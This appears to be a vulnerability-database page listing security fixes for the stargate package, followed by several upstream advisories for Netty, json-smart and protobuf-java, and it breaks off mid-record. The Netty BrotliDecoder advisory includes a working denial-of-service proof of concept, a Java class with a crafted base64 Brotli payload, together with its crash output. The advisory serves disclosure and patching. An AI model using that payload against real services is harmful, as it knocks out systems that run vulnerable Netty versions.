Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-07-30 09:30
Summary
Security fixes in stargate 1.0.90-r4
Details
Package stargate version 1.0.90-r4 fixes 87 vulnerabilities: ghsa-76h9-2vwh-w278, ghsa-pqr6-cmr2-h8hf, ghsa-fjpj-2g6w-x25r, ghsa-qcwq-55hx-v3vh, ghsa-55g7-9cwv-5qfv...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "stargate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.90-r4"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.0.90-r4"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package stargate version 1.0.90-r4 fixes 87 vulnerabilities: ghsa-76h9-2vwh-w278, ghsa-pqr6-cmr2-h8hf, ghsa-fjpj-2g6w-x25r, ghsa-qcwq-55hx-v3vh, ghsa-55g7-9cwv-5qfv...",
"id": "CLEANSTART-2026-CU18187",
"modified": "2026-07-30T09:30:59Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/stargate/stargate"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in stargate 1.0.90-r4",
"upstream": [
"ghsa-76h9-2vwh-w278",
"ghsa-pqr6-cmr2-h8hf",
"ghsa-fjpj-2g6w-x25r",
"ghsa-qcwq-55hx-v3vh",
"ghsa-55g7-9cwv-5qfv",
"ghsa-4g8c-wm8x-jfhw",
"ghsa-q4rv-gq96-w7c5",
"ghsa-g8m5-722r-8whq",
"ghsa-j26w-f9rq-mr2q",
"ghsa-xq3w-v528-46rv",
"ghsa-389x-839f-4rhx",
"ghsa-3p8m-j85q-pgmj",
"ghsa-269q-hmxg-m83q",
"ghsa-5jpm-x58v-624v",
"ghsa-84h7-rjj3-6jx4",
"ghsa-fghv-69vj-qj49",
"ghsa-jq43-27x9-3v86",
"ghsa-prj3-ccx8-p6x4",
"ghsa-xpw8-rcwv-8f8p",
"ghsa-6mjq-h674-j845",
"ghsa-fx2c-96vj-985v",
"ghsa-h9mq-f6q5-6c8m",
"ghsa-g5ww-5jh7-63cx",
"ghsa-735f-pc8j-v9w8",
"ghsa-4gg5-vx3j-xwc7",
"ghsa-h4h5-3hr4-j3g2",
"ghsa-mvr2-9pj6-7w5j",
"ghsa-7g45-4rm6-3mm3",
"ghsa-5mg8-w23w-74h3",
"ghsa-gvpg-vgmx-xg6w",
"ghsa-xwmg-2g98-w7v9",
"ghsa-wxr5-93ph-8wr9",
"ghsa-cfxw-4h78-h7fw",
"ghsa-78wr-2p64-hpwj",
"ghsa-493p-pfq6-5258",
"ghsa-264p-99wq-f4j6",
"ghsa-pr98-23f8-jwxv",
"ghsa-25qh-j22f-pwp8",
"ghsa-6v67-2wr5-gvf4",
"ghsa-qqpg-mvqg-649v",
"ghsa-j288-q9x7-2f5v",
"CVE-2024-52046",
"CVE-2021-41973",
"CVE-2022-41881",
"CVE-2023-34462",
"CVE-2023-44487",
"CVE-2022-24823",
"CVE-2024-29025",
"CVE-2025-67735",
"CVE-2025-58056",
"CVE-2025-58057",
"CVE-2025-55163",
"CVE-2025-59419",
"CVE-2024-47535",
"CVE-2025-25193",
"CVE-2025-24970",
"CVE-2023-34455",
"CVE-2023-43642",
"CVE-2023-34453",
"CVE-2023-34454",
"CVE-2024-21634",
"CVE-2023-1370",
"CVE-2025-23015",
"CVE-2018-10237",
"CVE-2023-2976",
"CVE-2020-8908",
"CVE-2024-7254",
"CVE-2022-3509",
"CVE-2022-3510",
"CVE-2022-3171",
"CVE-2024-40094",
"CVE-2023-52428",
"CVE-2025-53864",
"CVE-2025-48734",
"CVE-2024-47554",
"CVE-2024-25638",
"CVE-2024-35255",
"CVE-2026-1225",
"CVE-2024-12798",
"CVE-2025-11226",
"CVE-2024-12801",
"CVE-2024-13009",
"CVE-2024-8184",
"CVE-2024-9823",
"CVE-2024-6763",
"CVE-2025-48924",
"CVE-2025-46392"
]
}
GHSA-3P8M-J85Q-PGMJ
Vulnerability from github – Published: 2025-09-03 18:00 – Updated: 2025-09-04 13:51
VLAI
Summary
Netty's decoders vulnerable to DoS via zip bomb style attack
Details
Summary
With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.
Details
BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.
Tested on 4.1.118, but there were no changes to the decoder since.
PoC
Run this test case with -Xmx1G:
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Error:
Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
at io.netty.handler.codec.compression.T.main(T.java:11)
Impact
DoS for anyone using BrotliDecoder on untrusted input.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58057"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-03T18:00:55Z",
"nvd_published_at": "2025-09-04T10:42:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n public static void main(String[] args) {\n EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
"id": "GHSA-3p8m-j85q-pgmj",
"modified": "2025-09-04T13:51:43Z",
"published": "2025-09-03T18:00:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}
GHSA-493P-PFQ6-5258
Vulnerability from github – Published: 2023-03-23 20:32 – Updated: 2025-02-13 18:41
VLAI
Summary
json-smart Uncontrolled Recursion vulnerability
Details
Impact
Affected versions of net.minidev:json-smart are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object.
When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software.
Patches
This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug.
Workarounds
N/A
References
- https://www.cve.org/CVERecord?id=CVE-2023-1370
- https://nvd.nist.gov/vuln/detail/CVE-2023-1370
- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "net.minidev:json-smart"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-1370"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-23T20:32:03Z",
"nvd_published_at": "2023-03-22T06:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nAffected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object.\n\nWhen reaching a \u2018[\u2018 or \u2018{\u2018 character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software.\n\n### Patches\nThis vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug.\n\n### Workarounds\nN/A\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-1370\n- https://nvd.nist.gov/vuln/detail/CVE-2023-1370\n- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748",
"id": "GHSA-493p-pfq6-5258",
"modified": "2025-02-13T18:41:52Z",
"published": "2023-03-23T20:32:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oswaldobapvicjr/jsonmerge/security/advisories/GHSA-493p-pfq6-5258"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1370"
},
{
"type": "WEB",
"url": "https://github.com/netplex/json-smart-v2/issues/137"
},
{
"type": "WEB",
"url": "https://github.com/netplex/json-smart-v2/commit/5b3205d051952d3100aa0db1535f6ba6226bd87a"
},
{
"type": "WEB",
"url": "https://github.com/netplex/json-smart-v2/commit/e2791ae506a57491bc856b439d706c81e45adcf8"
},
{
"type": "PACKAGE",
"url": "https://github.com/oswaldobapvicjr/jsonmerge"
},
{
"type": "WEB",
"url": "https://research.jfrog.com/vulnerabilities/stack-exhaustion-in-json-smart-leads-to-denial-of-service-when-parsing-malformed-json-xray-427633"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240621-0006"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1370"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "json-smart Uncontrolled Recursion vulnerability"
}
GHSA-4G8C-WM8X-JFHW
Vulnerability from github – Published: 2025-02-10 17:38 – Updated: 2025-04-16 19:30
VLAI
Summary
SslHandler doesn't correctly validate packets which can lead to native crash when using native SSLEngine
Details
Impact
When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash.
Workarounds
As workaround its possible to either disable the usage of the native SSLEngine or changing the code from:
SslContext context = ...;
SslHandler handler = context.newHandler(....);
to:
SslContext context = ...;
SSLEngine engine = context.newEngine(....);
SslHandler handler = new SslHandler(engine, ....);
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.117.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.91.Final"
},
{
"fixed": "4.1.118.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-24970"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-10T17:38:10Z",
"nvd_published_at": "2025-02-10T22:15:38Z",
"severity": "HIGH"
},
"details": "### Impact\nWhen a special crafted packet is received via SslHandler it doesn\u0027t correctly handle validation of such a packet in all cases which can lead to a native crash.\n\n### Workarounds\nAs workaround its possible to either disable the usage of the native SSLEngine or changing the code from:\n\n```\nSslContext context = ...;\nSslHandler handler = context.newHandler(....);\n```\n\nto:\n\n```\nSslContext context = ...;\nSSLEngine engine = context.newEngine(....);\nSslHandler handler = new SslHandler(engine, ....);\n```",
"id": "GHSA-4g8c-wm8x-jfhw",
"modified": "2025-04-16T19:30:03Z",
"published": "2025-02-10T17:38:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-4g8c-wm8x-jfhw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24970"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/87f40725155b2f89adfde68c7732f97c153676c4"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250221-0005"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2025-24970-netty-vulnerability-detection"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2025-24970-netty-vulnerability-mitigation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "SslHandler doesn\u0027t correctly validate packets which can lead to native crash when using native SSLEngine"
}
GHSA-4GG5-VX3J-XWC7
Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2025-09-02 19:38
VLAI
Summary
Protobuf Java vulnerable to Uncontrolled Resource Consumption
Details
A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.16.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.17.0"
},
{
"fixed": "3.19.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.20.0"
},
{
"fixed": "3.20.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.0"
},
{
"fixed": "3.21.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.16.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.17.0"
},
{
"fixed": "3.19.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.20.0"
},
{
"fixed": "3.20.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.0"
},
{
"fixed": "3.21.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-3510"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-12T22:34:26Z",
"nvd_published_at": "2022-12-12T13:15:00Z",
"severity": "HIGH"
},
